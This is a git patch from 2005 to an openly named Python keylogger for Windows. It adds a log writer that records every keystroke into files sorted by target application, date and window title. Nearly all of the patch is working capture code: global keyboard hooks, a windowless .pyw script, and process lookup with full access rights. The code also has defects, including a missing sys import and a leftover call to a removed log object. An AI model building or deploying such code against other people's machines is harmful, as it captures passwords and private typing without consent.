From 23c011b754e5f20ee70324af2437f52d7d78424d Mon Sep 17 00:00:00 2001 From: nanotube Date: Sun, 11 Sep 2005 08:14:56 +0000 Subject: [PATCH] major update - advanced logging functionality, by application and date and window title etc. --- keylogger.pyw | 50 +++-------------------- logwriter.py | 111 ++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 117 insertions(+), 44 deletions(-) create mode 100644 logwriter.py diff --git a/keylogger.pyw b/keylogger.pyw index fb5642c..900d39c 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -4,7 +4,7 @@ import pythoncom import sys from optparse import OptionParser import traceback - +from logwriter import LogWriter class KeyLogger: ''' Captures all keystrokes, and logs them to a text file @@ -13,14 +13,6 @@ class KeyLogger: self.ParseOptions() - ''' - self.exitKey = exitKey #key we press to quit keylogger - self.flushKey = flushKey #key we press to make keylogger flush the file buffer (so we can check the log, for example) - self.parseBackspace = parseBackspace - self.parseEscape = parseEscape - self.addLineFeed = addLineFeed - self.debug = debug - ''' self.hm = pyHook.HookManager() self.hm.KeyDown = self.OnKeyboardEvent @@ -30,17 +22,7 @@ class KeyLogger: #if self.options.hookMouse == True: # self.hm.HookMouse() - if self.options.debug == False: - self.log = open(self.options.filename, 'a') - - #ascii subset is created as a filter to exclude funky non-printable chars from the log - self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape - self.asciiSubset.extend(range(32,128)) #all normal printable chars - - if self.options.parseBackspace == True: - self.asciiSubset.remove(8) #remove backspace from allowed chars if needed - if self.options.parseEscape == True: - self.asciiSubset.remove(27) #remove escape from allowed chars if needed + self.lw = LogWriter(self.options.dirname, self.options.debug) pythoncom.PumpMessages() @@ -64,23 +46,8 @@ class KeyLogger: self.log.write('Transition: ' + str(event.Transition)) self.log.write('---\n') ''' - if event.Ascii in self.asciiSubset: - self.PrintStuff(chr(event.Ascii)) - if event.Ascii == 13 and self.options.addLineFeed == True: - self.PrintStuff(chr(10)) #add line feed after CR,if option is set - - #we translate all the special keys, such as arrows, backspace, into text strings for logging - #exclude shift keys, because they are already represented (as capital letters/symbols) - if event.Ascii == 0 and not (str(event.Key).endswith('shift')): - self.PrintStuff('[KeyName:' + event.Key + ']') - #translate backspace into text string, if option is set. - if event.Ascii == 8 and self.options.parseBackspace == True: - self.PrintStuff('[KeyName:' + event.Key + ']') - - #translate escape into text string, if option is set. - if event.Ascii == 27 and self.options.parseEscape == True: - self.PrintStuff('[KeyName:' + event.Key + ']') + self.lw.WriteToLogFile(event, self.options) if event.Key == self.options.flushKey: self.log.flush() @@ -89,16 +56,11 @@ class KeyLogger: sys.exit() return True - def PrintStuff(self, stuff): - if self.options.debug == False: - self.log.write(stuff) - else: - sys.stdout.write(stuff) def ParseOptions(self): #usage = "usage: %prog [options] arg" parser = OptionParser(version="%prog version 0.3") - parser.add_option("-f", "--file", action="store", dest="filename", help="write log data to FILENAME [default: %default]") + parser.add_option("-f", "--file", action="store", dest="dirname", help="write log data to DIRNAME [default: %default]") parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]") parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]") parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]") @@ -107,8 +69,8 @@ class KeyLogger: parser.add_option("-x", "--exitkey", action="store", dest="exitKey", help="specify the key to press to exit keylogger [default: %default]") parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]") parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]") - - parser.set_defaults(filename="C:\Temp\log.txt", + + parser.set_defaults(dirname=r"C:\Temp\logdir", hookKeyboard=True, addLineFeed=False, parseBackspace=False, diff --git a/logwriter.py b/logwriter.py new file mode 100644 index 0000000..2ada278 --- /dev/null +++ b/logwriter.py @@ -0,0 +1,111 @@ +import win32api, win32con, win32process +import os, os.path +import time +import re + + +class LogWriter: + + def __init__(self, rootLogDir=r"C:\Temp\logdir", debug=False): + + self.debug = debug + self.rootLogDir = os.path.normpath(rootLogDir) + + try: + os.mkdir(self.rootLogDir, 0777) + except OSError, detail: + if(detail.errno==17): #if directory already exists, swallow the error + pass + else: + print "OSError:", repr(detail) + + self.writeTarget = "" + + def OpenLogFile(self, event): + + self.subDirName = self.GetProcessNameFromHwnd(event.Window) + self.subDirName = re.sub(r':?\\',r'__',self.subDirName) + + try: + os.makedirs(os.path.join(self.rootLogDir, self.subDirName), 0777) + except OSError, detail: + if(detail.errno==17): #if directory already exists, swallow the error + pass + else: + print "OSError:", detail + + self.filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + str(event.WindowName) + ".txt" + + #we do this writetarget thing to make sure we dont keep opening and closing the log file when all inputs are going + #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same + #already-opened file. + if self.writeTarget != os.path.join(self.rootLogDir, self.subDirName, self.filename): + if self.writeTarget != "": + self.log.close() + self.writeTarget = os.path.join(self.rootLogDir, self.subDirName, self.filename) + if self.debug: print "writeTarget:",self.writeTarget + + self.log = open(os.path.join(self.rootLogDir, self.subDirName, self.filename), 'a') + + def WriteToLogFile(self, event, options): + self.OpenLogFile(event) + + asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape + asciiSubset.extend(range(32,128)) #all normal printable chars + + if options.parseBackspace == True: + asciiSubset.remove(8) #remove backspace from allowed chars if needed + if options.parseEscape == True: + asciiSubset.remove(27) #remove escape from allowed chars if needed + + if event.Ascii in asciiSubset: + self.PrintStuff(chr(event.Ascii)) + if event.Ascii == 13 and options.addLineFeed == True: + self.PrintStuff(chr(10)) #add line feed after CR,if option is set + + #we translate all the special keys, such as arrows, backspace, into text strings for logging + #exclude shift keys, because they are already represented (as capital letters/symbols) + if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')): + self.PrintStuff('[KeyName:' + event.Key + ']') + + #translate backspace into text string, if option is set. + if event.Ascii == 8 and options.parseBackspace == True: + self.PrintStuff('[KeyName:' + event.Key + ']') + + #translate escape into text string, if option is set. + if event.Ascii == 27 and options.parseEscape == True: + self.PrintStuff('[KeyName:' + event.Key + ']') + + def PrintStuff(self, stuff): + if self.debug == False: + self.log.write(stuff) + else: + sys.stdout.write(stuff) + + + def GetProcessNameFromHwnd(self, hwnd): + + threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd) + if self.debug: print "(threadid, processid)", threadpid, procpid + + # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF) + + mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid) + procname = win32process.GetModuleFileNameEx(mypyproc, 0) + return procname + + +if __name__ == '__main__': + #some testing code + #put a real existing hwnd into event.Window to run test + lw = LogWriter() + class Blank: + pass + event = Blank() + event.Window = 264854 + event.WindowName = "Untitled - Notepad" + event.Ascii = 65 + options = Blank() + options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False + lw.WriteToLogFile(event, options) + -- 2.45.1